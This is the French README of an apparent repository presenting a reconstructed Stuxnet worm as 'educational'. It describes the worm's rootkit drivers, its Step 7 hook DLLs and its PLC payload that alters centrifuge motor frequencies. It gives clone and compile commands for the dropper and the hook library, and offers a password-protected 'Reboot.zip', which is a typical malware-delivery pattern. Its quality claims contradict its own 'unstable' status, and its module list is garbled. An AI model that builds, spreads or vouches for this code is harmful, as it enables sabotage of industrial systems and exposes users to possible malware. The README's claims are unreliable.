
Reconstruction éducative du ver Stuxnet pour l'analyse de logiciels malveillants et la recherche défensive. Inclut des modules d'élévation de privilèges, de fonctionnalités rootkit et d'injection de charge utile PLC ciblant les automates Siemens Step 7 et S7.
Merci d'aimer ce dépôt. Sa valeur réside dans le fait de libérer les gens de la nécessité de lire des rapports ennuyeux et dispersés qui s'étendent sur des milliers de pages, ce qui consomme une quantité énorme de temps et d'énergie. Ce dépôt est très lisible ; il ne poursuit pas aveuglément la version originale mais est davantage orienté vers le lecteur général.
Ce dépôt contient une reconstruction à but strictement éducatif et de recherche du tristement célèbre ver Stuxnet. Il est le fruit d'innombrables heures de travail de rétro-ingénierie mené par la communauté mondiale de recherche en sécurité sur les échantillons binaires originaux découverts en 2010.
Qualité du code : Réussie, Couverture : Réussie, Code propre : Vérifié. Mais la compilation est à un stade instable.
Avertissement : Ce code est fourni uniquement à des fins d'étude académique, de formation à l'analyse de logiciels malveillants et de recherche défensive. Les auteurs et contributeurs ne cautionnent aucune activité illégale ou contraire à l'éthique.
Il n'est pas destiné à être utilisé à des fins malveillantes, et ce n'est pas un logiciel malveillant déployable.
- Statut
Aperçu
Composants principaux
Architecture technique
Instructions de compilation
Utilisation
Aspects juridiques et licence
Remerciements
# Statut
- Compilation : Instable
- Code propre : Vérifié
- Qualité du code : Tests réussis
- Couverture : Excellente
Date : 2026-10-17 06:00
Ajout d'une version plus proche de l'original dans les détails, ainsi qu'une version propre. toutes deux entièrement construites à partir des indices connus. Le fichier s'appelle Reboot.zip et le mot de passe est Stuxnet.
Si vous ne pensez pas que la version reconstruite est bonne...
Stuxnet est largement reconnu comme la première cyber-arme connue conçue pour causer une destruction physique aux systèmes de contrôle industriel (ICS). Il ciblait spécifiquement le logiciel Siemens Step 7 et les automates S7-300/400, manipulant finalement les variateurs de fréquence pour endommager les rotors des centrifugeuses.
Ce dépôt est un code source reconstruit dérivé des binaires décompilés. Il préserve la logique et les vecteurs d'attaque originaux tout en structurant la base de code pour la lisibilité et l'analyse.
Cible : Siemens SIMATIC WinCC, Step 7 et automates S7.
Propagation : clés USB (exploits LNK), partages réseau (Print Spooler), Pair-à-Pair (P2P).
Charge utile : modification de la logique des blocs PLC (OB1/OB35) pour altérer les fréquences des moteurs.
Furtivité : capacités avancées de rootkit (MRxCls.sys, MRxNet.sys) pour masquer fichiers, processus et registre.
Le dépôt est organisé selon les modules principaux identifiés lors de l'analyse du logiciel malveillant original.
winsta.exe, ~WTR4141.tmp~WTR4132.tmpWin32k.sys pour obtenir des privilèges au niveau système.s7otbxdx.dlls7otbxsx.dll. Il intercepte les communications entre Step 7 et l'automate.- Module : Bibliothèque de hooks Step7
- Nom de fichier :
s7aaapix.dll- Description : Intercepte les appels à l'API AUT (Automation Tool) au sein de l'environnement d'ingénierie Step 7.
mrxcls.sysmrxnet.sys- Module : Charge utile (attaque)
- Nom de fichier :
s7plcmain- Description : La logique centrale responsable de l'attaque de « falsification de fréquence » qui endommage les centrifugeuses.
Ce qui suit décrit le flux d'exécution de haut niveau du framework Stuxnet.
Étape 1 : Vecteur d'infection initial (USB/réseau)
Étape 2 : Dropper et élévation de privilèges
Étape 3 : Vérification de l'environnement
Étape 4a : Cible trouvée (logiciel Siemens) -> Installation des hooks S7
Étape 4b : Non-cible -> Auto-destruction/Inactivité
Étape 5 : Surveillance des écritures PLC
Étape 6 : Détection d'une écriture OB1/OB35 -> Injection de la charge utile
Étape 7 : Modification de la sortie de fréquence
Étape 8 : Dommages physiques aux centrifugeuses
Étape 9 : Installation du rootkit (MRxCls)
Étape 10 : Masquage des fichiers et du registre
Étape 11 : Chargement du module réseau (MRxNet)
Étape 12 : Propagation P2P
Flux d'exécution
Reconnaissance de l'environnement : le ver vérifie la présence de logiciels Siemens spécifiques (WinCC, Step 7) et de PLC cibles spécifiques (S7-315, S7-417).
Injection de DLL : il intercepte l'appel à la fonction s7blk_write.
Injection de code : lorsqu'un utilisateur télécharge un projet vers le PLC, le code malveillant est ajouté aux blocs OB1/OB35.
Impact physique : le PLC exécute le code manipulé, provoquant la rotation des variateurs de fréquence (VFD) connectés à des fréquences anormales (hautes/basses), entraînant des dommages mécaniques.
Important : cette base de code est conçue pour l'analyse statique et le débogage dans un environnement virtuel contrôlé. Elle n'est pas destinée à un déploiement réel sur une infrastructure critique.
Environnement de compilation : Microsoft Visual Studio 2019/2022 (Windows) ou mingw-w64.
Système d'exploitation cible : Windows XP / Windows 7 (pour la compatibilité des pilotes).
Driver Kit : Windows Driver Kit (WDK) 7600 (si compilation des pilotes en mode noyau).
Compilation des modules User-Mode
Cloner le dépôt
git clone https://github.com/Sadpainy/Stuxnet.git
cd Stuxnet
Construire le dropper principal
cd Main
nmake /f Makefile.win
Compiler la bibliothèque de hooks S7
cd ../s7otbxdx
cl /LD s7otbxdx.dll.c user32.lib ws2_32.lib
Ce code est destiné à :
Analyse de logiciels malveillants : Comprendre la logique de code spécifique utilisée dans les menaces persistantes avancées (APT).
Recherche défensive : Développer des signatures de détection pour les outils de sécurité ICS (par exemple, règles YARA, signatures Snort).
Étude académique : Examiner l'intersection entre la cybersécurité et la protection des infrastructures critiques.
Configuration de l'analyse